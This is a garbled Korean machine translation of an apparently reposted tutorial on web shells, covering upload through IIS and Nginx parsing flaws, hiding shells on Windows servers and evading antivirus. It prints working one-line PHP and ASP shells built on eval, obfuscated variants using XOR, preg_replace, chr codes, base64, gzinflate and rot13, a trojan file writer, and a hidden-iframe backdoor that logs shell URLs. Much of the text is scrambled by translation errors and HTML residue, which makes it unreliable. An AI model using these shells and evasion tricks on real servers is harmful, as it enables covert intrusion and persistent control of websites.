1. webshell이란
webshell은 이름에서 알 수 있듯이 web은 웹 서버를 의미하며, shell은 다음과 같이 작성된 스크립트입니다. 스크립팅 언어 프로그램인 webshell은 웹 관리 도구로, 웹 서버를 운영하는 권한을 가지고 있으며 webadmin이라고도 합니다. Webshell은 일반적으로 웹사이트 관리자가 웹사이트 관리, 서버 관리 등을 위해 사용합니다. 그러나 webshell은 상대적으로 강력하기 때문에 파일 업로드 및 다운로드, 데이터베이스 보기, 심지어 서버에서 일부 시스템 관련 명령(예: 사용자 생성)을 호출할 수도 있습니다. , 파일 수정 또는 삭제 등) 해커가 주로 사용하는 방법으로, 해커는 자신이 작성한 웹쉘을 웹 서버 페이지의 디렉토리에 업로드한 후 페이지 접근을 통해 침입하거나, 삽입하여 로컬 컴퓨터에 연결하는 등의 방법을 사용합니다. 한 문장 일부 관련 도구는 서버에 직접 침입 작업을 수행합니다.
기본값
<중앙>
<입력 유형=제출 값=제출>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<form action=http : //호스트 경로/TEXT.asp method=post> < 텍스트 영역 이름=값 열=120행=10너비 =45> lP=서버를 설정합니다.createObject ("Adodb.Stream")//스트림 객체 생성 lP.열기//열기 lP.유형=2//텍스트 모드 lP.CharSet="gb2312"//글꼴 표준 lP.텍스트 쓰기 요청("newvalue") lP.SaveToFile 서버.mappath("newmm.asp"), 2//파일을 덮어써서 newmm.asp에 트로이 목마 내용을 씁니다. 2는 덮어쓰는 방법입니다. lP.닫기//객체 닫기 lP=설정//객체 해제 응답.리디렉션"newmm.asp"//newmm으로 리디렉션 .asp </텍스트 영역> <텍스트 영역 이름=새 값 열=120행=10너비=45> (트로이 목마 생성을 위한 콘텐츠 추가) </텍스트 영역> <BR> <센터> < br> <입력 유형=제출 값 = 제출> |
말레이시아의 작업 모델은 훨씬 간단합니다. 클라이언트와 서버 사이에는 차이가 없습니다. 일부 스크립트 전문가는 한 문장의 트로이 목마를 서버 측에 직접 통합하여 말레이시아에 업로드했습니다. 그런 다음 말레이시아 URL 주소를 복사하여 직접 접속하여 해당 페이지의 웹 서버에 침투 작업을 수행합니다. 그러나 일부 웹사이트에서는 파일 업로드에 엄격한 제한이 있습니다. Da Ma에는 기능이 많기 때문에 크기가 상대적으로 커서 웹사이트의 업로드 제한을 초과할 수 있습니다. 그러나 Da Ma의 크기는 제어할 수 있습니다. 코드를 여러 번 삽입하거나 잘못된 파일에 코드를 삽입하는 경우) Xiaoma의 작업은 더 번거롭습니다. 먼저 Xiaoma를 업로드하여 웹셸을 얻은 다음 Xiaoma를 업로드하여 Xiaoma의 연결을 통해 서버를 얻을 수 있습니다.
2. 웹쉘 업로드 방법
1. 취약점 업로드 분석
(1)iis 디렉터리 구문 분석 취약점
예: xx.asp;.jpg. 웹 페이지가 업로드되면 jpg 파일이 인식되지만 iis는 업로드 후 이를 구문 분석하지 않습니다. 이후 문자도 파일을 asp 파일로 구문 분석합니다. 이 취약점은 iis5.x/6.0 버전에 존재합니다.
웹 서버에서 fast-CGI가 활성화된 경우 xx.jpg 이미지를 업로드하세요. 내용은 다음과 같습니다:
기본값
1
|
fputs(fopen('shell.php','w'),'eval($_POST[shell])?>');?> |
여기서 사용된 fput은 shell.php 파일을 생성하고 문장을 작성합니다. xx.jpg/.php 경로에 액세스하면 이 경로에 한 문장으로 구성된 Trojan shell.php가 생성됩니다. 이 취약점은 IIS 7.0/7.5 및 Nginx 버전 8.03 이하에 존재합니다. 로케일: PHP, prel, Bourne Shell, C 및 기타 언어.
2. 업로드 자르기
3. 백엔드 데이터베이스 백업
4. 데이터베이스 문을 사용하여
(1) mysql 데이터베이스를 outfile로 업로드
3. 웹쉘의 '보안'
1. 웹쉘 숨기기에 대하여
(1) 말레이시아의 숨겨진
Windows 시스템에는 시스템 예약 폴더 이름이 있습니다. Windows에서는 이러한 이름을 사용하여 예약 폴더를 지정하는 것을 허용하지 않습니다. aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt. 그러나 다음과 같은 Windows 복사 명령을 사용하여 만들 수 있습니다.
Default
1
|
c:>복사3.asp .C:aux.asp |
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image020.png
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image022.jpgC 드라이브에 aux.asp를 만듭니다. 이 파일은 그래픽 인터페이스에서 삭제할 수 없습니다.file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image023.png삭제하려면 del 명령어를 사용해야 합니다.file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image024.png삭제 후 메시지가 표시되지 않지만 파일이 실제로 사라졌습니다.물론 이 방법을 사용하면 그래픽 인터페이스를 통해 삭제할 수 없는 웹셸을 만들 수 있지만, 웹페이지의 루트 디렉터리에 직접 배치하는 경우에도 경험이 있는 경우 삭제됩니다. 네트워크 관리자가 이를 볼 수 있습니다.②clsid 숨김
Windows의 모든 프로그램에는 clsid가 있습니다. 폴더 이름을 x.{program clsid}로 지정한 경우 다음 두 명령을 입력하세요.file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image026.jpg생성 후file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image027.png클릭하여 제어판에 들어가지만 실제로는 파일이 여전히 폴더이고 그 안에 Malaysia가 여전히 존재합니다. clsid를 사용하여 해당 폴더를 만들고 해당 프로그램의 이름을 지정할 수도 있습니다. 예를 들어, 네트워크 관리자는 휴지통 폴더를 입력하여 휴지통 clsid가 있는 폴더를 만들고 그 안에 예약어 asp를 복사할 수도 있습니다.
기본값을 사용할 수도 있습니다.
1attrib+h+s+r+d/s/d
1 속성+h+s+r
+d/
/d
이 파일의 속성을 수정하고 숨기세요. 일반적으로 Windows는 기본적으로 숨김 파일을 표시하지 않으며, 휴지통 폴더가 자동으로 생성되므로 불멸의 웹쉘이 서버에 숨겨질 수 있습니다. 3드라이버 숨기기 기술 Windows 파일 시스템에서는 폴더를 열 때 시스템이 IRP_MJ_DIRECTORY_Control 함수를 보내는 것이 원칙입니다. 이 함수는 버퍼와 정보를 할당할 수 있습니다. 폴더 아래의 하위 폴더를 순회하여 얻은 내용은 버퍼에 저장됩니다. 순회 시 일치하는 파일 이름을 찾아보고, 파일 이름이 일치하면 현재 폴더나 파일을 우회하는 원리로 코드를 확인했습니다. 제가 이해한 바에 따르면 대상 파일을 쿼리할 때 탐색된 포인터를 기준으로 파일의 오프셋을 추가하며 대상 폴더를 스캔하지 않고 직접 건너뜁니다. 이 기술의 구현과 관련하여 인터넷에 많은 C 소스코드가 있음에도 불구하고 헤더 파일 지원 및 시스템 지원으로 인해 작동이 어렵습니다. (시스템마다 파일 시스템이 다를 수 있음) . 온라인에서 Easy File Locker 프로그램을 찾았는데 웹 서버에 설치하고 대상 파일에 대한 권한을 설정해야 합니다. 기본값file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
1file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
1파일:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
권한 설정에는 읽기, 쓰기, 삭제 및 표시가 포함됩니다.기본값
1file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg
1 td> 파일:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg
위 그림에서 볼 수 있듯이 앞서 언급한 대로 순회가 직접 우회되기 때문에 절대 경로를 숨겼습니다. 접근 가능합니다. 내 이해는 다음과 같습니다
1234c:WINDOWSxlkfs.dat
c:WINDOWSxlkfs.dll
c:WINDOWSxlkfs.ini
c:WINDOWSsystem32driversxlkfs.sys
기본c:WINDOWSxlkfs.dat c:WINDOWSxlkfs.dll c:WINDOWSxlkfs.ini c:WINDOWSsystem32driversxlkfs.sys이 4개 파일은 순회 쿼리를 대체합니다. 숨겨진 파일에 액세스하려면 절대 경로를 입력해도 절대 경로 쿼리가 적용되지 않지만 위 4개 파일을 통해 쿼리됩니다. 숨겨진 파일에 대해 별도의 드라이버를 만드는 것과 동일합니다. 관리자에게 들키지 않으려면 Easy FileLocker 프로그램을 삭제하면 되지만, 위 4개 파일은 삭제할 수 없습니다. 프로그램을 삭제한 후에도 백도어 숨기기 기능을 수행하는 절대 경로를 입력하여 계속 액세스할 수 있습니다4레지스트리 숨기기레지스트리 경로: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer\AdvancedFolderHiddenSHOWALL 이 경로에 CheckedValue 키가 있습니다. 0으로 변경하세요. CheckValue 키가 없으면 직접 만들고 값을 0으로 지정하세요. 그러면 생성된 숨김 파일이 완전히 숨겨집니다. 폴더 옵션. 다음 "모든 파일 표시" 옵션도 표시할 수 없습니다. (2) 한 문장 트로이 목마 숨기기 ①헤더 파일 포함 숨기기웹의 일부 스크립트 파일에는 일부 파일에 include 문이 있는데 이를 사용할 수 있습니다. 메소드에는 문장 파일이 포함되어 있으며 이 페이지에 액세스할 때 이러한 문장이 직접 호출됩니다. asp include 문: , 경로를 직접 입력하며 파일 경로는 웹 서버의 경로입니다. Webmaster Stop을 사용하여 이미지에 NTFS 스트림 포니의 문장을 작성할 수 있습니다. 경로에 ''를 ':'로 쓴 후 이미지가 표시되지 않습니다. 웹 서버의 asp 파일로 이동하여 파일 시작 부분에 include 문을 작성합니다. <🎜><🎜>php에는 <🎜><🎜><🎜><🎜><🎜><🎜>Default<🎜><🎜><🎜><🎜><🎜><🎜 명령문이 포함되어 있습니다. >
tbody> 1234 c:WINDOWSxlkfs.
데이터
:
WINDOWS
xlkfs.dllc:WINDOWSxlkfs.inic:WINDOWSsystem32드라이버xlkfs.sys
1include($include);?>
1<🎜>포함<🎜>(<🎜> $ 포함<🎜>)<🎜>;<🎜>?> 여기서 $include는 다음과 같은 외부 경로일 수 있습니다.
http://www.aaa.com/1.php?Include=http://www .bbb.com/hehe.php이 aaa의 1.php 내용은
기본
1
1include($include);?>
<🎜>포함<🎜>(<🎜>$include<🎜>)<🎜>;<🎜>?> 은 포함을 의미합니다. bbb는 외부 서버입니다. 단, 이 서버는 PHP를 지원할 수 없습니다. 그렇지 않으면 bbb 서버에서 hehe.php(즉, 한 문장 말)는 실행되지만 aaa는 실행되지 않습니다.
②구성 파일 숨김 문장(PHP)
PHP 웹셸을 얻은 후 php.ini를 사용하여 파일을 숨기고 구성 파일을 편집할 수 있습니다. 특정 파일의 내용을 인터페이스의 머리글과 바닥글에 추가:auto_prepend_file =hehe.php그런 다음include_path를 살펴보세요. = "E:PHPnow-1.5.6htdocs;"이 구성 정보는 머리글과 바닥글을 로드할 컬렉션의 위치를 나타냅니다. 경로 규칙은 "path1;path2"입니다. path1 경로의 폴더는 경로에 있는 파일에 헤더 및 바닥글 파일을 추가합니다. 여기에는 루트 경로를 나타내는 '.'이 있으므로 홈페이지에 추가하는 것과 동일합니다. .asp 파일이면 끝입니다. PHP를 통해 헤더 기능을 추가하고 웹 사이트 홈 페이지에 문장을 작성합니다.3404 포니
404 포니는 접속시 존재하지 않는 404 페이지를 표시하지만 실제로는 트로이목마 코드가 실행된 상태입니다. 일반적으로 Shift를 5번 누르면 제거됩니다. 밖으로.4. 웹쉘 안티 바이러스와 안티 바이러스에 대한 한 문장
1. 우회 탐지(PHP) 구축 방법
일반 탐지 프로그램에서는 이러한 "_POST"를 필터링합니다. , "system" 및 "call_user_func_array"와 같은 문자의 경우 현재 일부 감지 프로그램을 우회하기 위한 구성 방법을 사용할 수 있습니다. 기본 원칙은 PHP의 각 문자가 XOR로 대체된다는 것입니다. 두 문자의 값입니다.예를 들어 코드는 다음과 같습니다Default
12345678@$_++; // 这里++让’_’自加1
$__=("#"^"|"); // _
$__=("."^"~"); // P
$__=("/"^"`"); // O
$__=("|"^"/"); // S
$__=("{"^"/"); // T
?>
12345678php<🎜><🎜><🎜><🎜>@<🎜>$_<🎜>++<🎜>;<🎜> 🎜><🎜><🎜><🎜><🎜><🎜><🎜 ><🎜>$__<🎜>=<🎜>(<🎜>"#"<🎜>^<🎜>"|"< 🎜>) <🎜> 🎜><🎜>$__<🎜>=< 🎜>(<🎜>"."<🎜>^<🎜>"~"<🎜>)<🎜>;<🎜> ><🎜><🎜><🎜> <🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜>$__<🎜>=<🎜>(<🎜> "/"<🎜>^<🎜>"`"<🎜>)<🎜> ;<🎜> ><🎜><🎜><🎜><🎜><🎜><🎜>$__<🎜>=<🎜>(<🎜>"|"<🎜>^<🎜>"/"< 🎜>)< 🎜>;<🎜> <🎜>// ㅇ<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>< 🎜><🎜 >$__<🎜>=<🎜>(<🎜>"{"<🎜>^<🎜>"/"<🎜>)<🎜>;<🎜> <🎜><🎜><🎜 ><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>?> 그러면 구조와 문장은
Default로 쓸 수 있습니다.
123@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST
@${$__}[!$_](${$__}[$_]);?>
123 @$_+ +;$__
=("#""|"
).
("."^
1$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")
"~"
).(
"/"^"`").("|"^"/").
("{"^)
;
// $__의 값은 _POST @${$__}[!$_]($ {$__}[$_]);?> // 결과는 @$_POST[0]($POST[1])!$_는 1의 반대를 나타냅니다. 언어에서는 1이 true, 그 반대가 0(false)을 나타냅니다.그런데 이 우회 방법은 잘 생각해보면 두 문자의 이진값을 XOR하더라도 특정 문자를 사용하고 싶다면 여전히 그 값을 적용하는 방식이다. 예를 들어 기본값$__=("#"^"|")과 같습니다. ("."^"~").(" /"^"`").("|"^"/").("{"^"/") 1234functionfunfunc($str){}
echopreg_replace("/
(.+?) /ies",'funfunc("1")',$_POST["cmd"]);?>
의 바이너리 값은 탐지 프로그램이 탐지한 경우 _POST 문자의 값과 동일합니다. 바이너리 코드의 값을 변경하더라도 여전히 종료됩니다. 2. 정규식 대체 방법(PHP) PHP에는 정규식 대체를 구현할 수 있는 preg_replace() 함수가 있습니다. 탐지 시스템을 우회하기 위해 대체를 사용하려면 PHP 스크립트 언어의 함수 기능도 필요합니다. 함수가 호출될 때 함수의 형식 매개변수에 할당된 값에 명령이 포함되어 있으면 명령이 실행됩니다. 기본값(.+?)/ies",'funfunc("1")', $_POST["cmd"]); ?> 1$__ =("#"^"|").("."^" ~").("/"^"`"). ("|"^"/").("{"^"/") 테이블> 1234<🎜><🎜><🎜>기능<🎜><🎜>funfun< 🎜>(<🎜>$str<🎜>)<🎜>{<🎜>}<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜> <🎜>echopreg_replace<🎜>(<🎜>"/ (.+?) /ies",'funfunc("1")',$_POST["cmd"]); ?>위 코드는 먼저 빈 함수를 만든 후 preg_replace 함수를 사용하여{${phpinfo()}} (물론 여기의 phpinfo()는 다른 명령으로 대체될 수 있습니다.) 대체를 통해funfunc({${phpinfo()} })${}가 {}의 콘텐츠를 구문 분석할 수 있으므로 여기의 phpinfo가 원활하게 실행될 수 있습니다.3. 즉시 생성 방식(PHP)
헤더 파일 포함을 사용할 경우 포함된 헤더 파일인 php를 스캐너에서 쉽게 스캔하여 파일을 생성할 수 있습니다. . 안에 php 같은 문장이 적혀있습니다. 말에 접근하기 전에 말을 생성하세요. 하지만 이 기능은 민감하고 쉽게 죽을 수 있습니다.4. 회피 방법(asp)
일부 ASP 서버는 한 문장의 횡설수설을 방지하기 위해 <%,%>를 필터링하므로 다음을 사용할 수 있습니다.기본값
은 기능은 동일하지만 형태가 다릅니다. 특정 스크립트 언어 피하기: aspx 한 문장기본값
1<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>
1 <스크립트 언어=VBScriptrunat=서버>실행 요청 ("cmd")<
/>
1
1<스크립트 <🎜>언어<🎜>=<🎜>"C#"<🎜><🎜>runat<🎜>=<🎜>"서버"<🎜>>WebAdmin2Y .x.y아아아아=newWebAdmin2Y.x.y("add6bb58e139be10"); 这里使用C#语言写一句话马。5.拆分法(asp)
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。还有拆分法加强版:Default
12<%IfRequest("MH")<>""ThenExecute(Request("MH"))%>
<%ifrequest("MH")<>""thensession("MH")=request("MH"):endif:ifsession("MH")<>""thenexecutesession("MH")%>
以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。6.乱码变形(ANSI->Unicode加密)
Default
1<%evalrequest("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
Default
1eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为Default
1<%eval(eval(request("brute"))%>
7. 말레이시아의 안티 바이러스 보호
(1) base4code 인코딩
말레이시아의 안티 바이러스 보호는 말레이시아 코드 압축, 압축 후 base4 암호화 알고리즘 사용 후 끝에
Default
1@eval(gzinflate(base64_decode($code)));
1@평가(gzinflate(base64_decode($코드))); 스크립트를 실행할 수 있습니다. 그 중 $code 변수는 base4 코드를 저장하는데 사용되며, 실행 시에는 먼저 gzinflate로 압축을 풀고 eval에서 실행됩니다. 실제로 이는 종료로부터 진정으로 보호될 수 없습니다. Base4code 및 eval은 여전히 기능 코드 목록에 포함되어 있으며 스캐너를 통과할 때에도 종료됩니다.(2) ROT13 인코딩(php)
str_rot13은 php에서 인코딩을 위해 사용하는 함수입니다. 예를 들어 서명 감지를 우회하기 위해 스크립트 코드를 인코딩하는 데 사용할 수 있습니다.file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image031.png그림의 strrev 함수는 서명 감지를 피하기 위해 문자를 반전시키는 데 사용됩니다. , 문자는 '.' 기호로 특별히 구분됩니다.사진 속 str_rot13 3개로 암호화된 문자는 gzinflate, str_rot13, base64_decode로 삼중 암호화에 해당하며 gzinflate, base64_decode라는 두 가지 기능 코드도 피합니다. 그러나 str_rot13을 피할 수는 없습니다. 일부 바이러스 백신 소프트웨어에서는 str_rot13을 기능 코드로 사용할 수도 있습니다.ROT13은 회전 13이 되는데, 이는 현재 문자의 알파벳 빼기 13 위치 값이 암호화된다는 의미입니다. 두 번 암호화하면 원래 값으로 돌아갑니다. 하지만 고정된 알고리즘으로 인해 암호화 강도가 강하지 않습니다. 그리고 크래킹 방법은 매우 간단합니다. 한쪽만 암호화하면 됩니다.(3) 기타 코드
일반적으로 바이러스 백신 소프트웨어와 스캐너는 바이러스 유무를 확인하기 위해 서명 코드를 사용합니다. 일반적으로 php 또는 asp 스크립트의 암호화 기능을 사용하여 암호화합니다. 그리고 스캐너(base4, rot13 등)를 우회할 수 있지만, 자신만의 암호화 알고리즘을 작성한 다음 스크립트 코드를 암호화하여 일부 기능 코드를 우회할 수 있다고 생각합니다. Caesar 암호 및 Shift 암호화와 같은 암호화 방법에 대한 몇 가지 아이디어를 사용하고 암호화 알고리즘을 작성한 다음 스크립트 코드를 암호화하면 base4 및 rot3와 같은 기능 코드가 사라지거나 문제없이 직접 만든 암호화를 사용할 수 있습니다. 알고리즘은 서명을 암호화한 다음 사용 시 해독합니다.DES, RSA 등의 키 암호화 알고리즘도 사용할 수 있습니다. 일반적으로 말레이시아에는 비밀번호 로그인 상자가 있으며, 로그인 스크립트의 비밀번호를 복호화 키와 연결하여 올바른 비밀번호를 입력할 수 있습니다. 한편으로는 스캐너나 바이러스 백신 소프트웨어에 의해 탐지되는 것을 방지하는 반면, 다른 사람이 파일을 획득하더라도 암호를 해독하고 소스를 볼 수 없다는 점이 편리합니다. 암호.5. webshell의 백도어에 대하여
일반적으로 말레이시아의 인터넷 다운로드는 대부분 우리가 탈취한 웹사이트로 직접 연결되므로 다른 사람이 이를 탈취하게 됩니다. 온라인으로 다운로드하려면 먼저 백도어가 있는지 확인해야 합니다.예를 들어 범용 비밀번호는 다음과 같습니다.기본값
1234567endfunction
ifsession("hehe")<>userpassthen
ifrequest.form("pass")<>""then
ifrequest.form("pass")=userpassor request.form("pass")="1111111"Then
session("hehe")=userpasss
response.redirect url
else
1234567종료기능 if세션("헤헤")<>userpassthen요청 시.양식("통과")<>"그럼 if요청.양식("pass")=userpassor 요청.양식 ("통과")="1111111"그럼 세션("헤헤")=userpasss 응답.리디렉션 urlelse tr>여기
기본
table>
1request.form("pass")=userpass
1요청 .양식("통과")=
사용자 비밀번호
1orrequest.from(“pass”)=”1111111”
은 원래 pass 값을 검증하는데 사용되었는데, 입력한 pass 값이 userpass와 같다면 검증에 성공한 것인데 나중에는
기본값orrequest.from(“pass”)=”1111111”
1<iframe src=后门地址width=0height=0></iframe>
은 입력된 합격 값이 1111111 이므로 말레이시아에서도 로그인이 가능합니다. 물론 이 곳이 그렇게 간단할 수는 없습니다. 원저자는 userpass 값을 2개에 할당하고 1개를 추가할 수 있습니다. userpass 변경에 대한 트리거 조건은 로그인 시 트리거됩니다(예: 로그인에 실패하면 userpass 값 업데이트가 트리거됨). 접미사를 추가할 수 있으며, 게다가 트리거 조건 코드와 인증 코드가 멀리 떨어져 있어 찾기도 어렵습니다. 이때 말레이시아 코드를 한 줄씩 분석해야 합니다. 그런 다음 프레임을 사용하여 말을 장착합니다. 기본값< ;iframe src=백도어 주소 폭=0 높이=0>
1또는 요청.from(“pass”
)=”1111111”
12345678<%url=Request.ServerVariables("HTTP_Referer")
setfs=server.CreateObject("Scripting.FileSystemObject")
setfile=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
file.writelineurl
file.close
setfile=nothing
setfs=nothing
%>
링크 주소의 너비와 높이를 0으로 설정한 곳입니다. . 페이지가 숨겨져 있습니다. 내부의 "백도어 주소"는 자신의 스크립트 수신기를 가리킵니다. 마지막으로 수신 스크립트를 구축한 공용 네트워크 서버에 넣습니다. 기본값<%url=Request.ServerVariables("HTTP_Referer") set fs=server.CreateObject("Scripting.FileSystemObject") 파일 설정=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True) file.writelineurl 파일.닫기 파일 설정 = 없음 fs=아무것도 설정하지 않음 %>
1 <<🎜>iframe <🎜>src<🎜>= 백도어 주소 <🎜><🎜>너비<🎜>=<🎜>0<🎜><🎜>높이<🎜>=<🎜>0<🎜>><<🎜>/<🎜>iframe <🎜 >> 12345678<% <🎜>url<🎜>=<🎜>요청<🎜>.<🎜>ServerVariables<🎜>(<🎜>"HTTP_Referer"<🎜>)<🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜><🎜>설정<🎜><🎜>fs<🎜>=<🎜>서버<🎜>.<🎜>CreateObject<🎜>(<🎜 >"Scripting.FileSystemObject"<🎜>)<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>세트 <🎜><🎜>파일<🎜>=<🎜>fs<🎜>.<🎜>OpenTextFile<🎜>(<🎜>서버<🎜>.<🎜>MapPath<🎜>(<🎜>"hehe.txt "<🎜>)<🎜>,<🎜>8<🎜>,<🎜>맞습니다<🎜>)<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>파일<🎜>.<🎜>writeline <🎜><🎜>url<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>파일<🎜>.<🎜>닫기<🎜><🎜><🎜>< 🎜><🎜><🎜>설정<🎜><🎜>파일<🎜>=<🎜>없음<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>설정< 🎜><🎜>fs<🎜>=<🎜>아무것도<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>%> 어디
기본
은 요청한 문자 변환 내용, 즉 말레이시아 URL 주소를 나타내고, 해당 URL 주소를 현재 디렉터리의 hehe.txt에 저장합니다. 이런 종류의 백도어를 만들려면 먼저 말레이시아의 두 번째 유형의 비밀번호 인증인 마스터 비밀번호를 파기해야 합니다. 해당 함수코드를 삭제한 후 ASP Malaysia 페이지에 width=0 height=0 등 숨겨진 URL이 있는지 확인 후 찾아 삭제하세요. 위에서 Webshell 구현과 숨겨진 탐색 기능을 소개했으며, PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.
1url=Request.ServerVariables("HTTP_Referer")
1url= 요청.ServerVariables
("HTTP_Referer"
)본 웹사이트의 성명본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.저자별 최신 기사
2024-10-22 09:46:29 2024-10-13 13:53:41 2024-10-12 12:15:51 2024-10-11 22:47:31 2024-10-11 19:36:51 2024-10-11 15:50:41 2024-10-11 15:07:41 2024-10-11 14:21:21 2024-10-11 12:59:11 2024-10-11 12:17:31최신 이슈상위 창에 출력이 없습니다. document.onclick = function(){ window.opener.document.write('나는 자식 창의 출력입니다.');에서 2024-04-18 23:52:34011284PX가 REM 오류로 자동 변환 <style>html { 글꼴 크기: calc(100vw / 3.75); }body { 글꼴 크기: 0.16rem; }&l...에서 2024-04-16 09:34:16004687관련 주제더>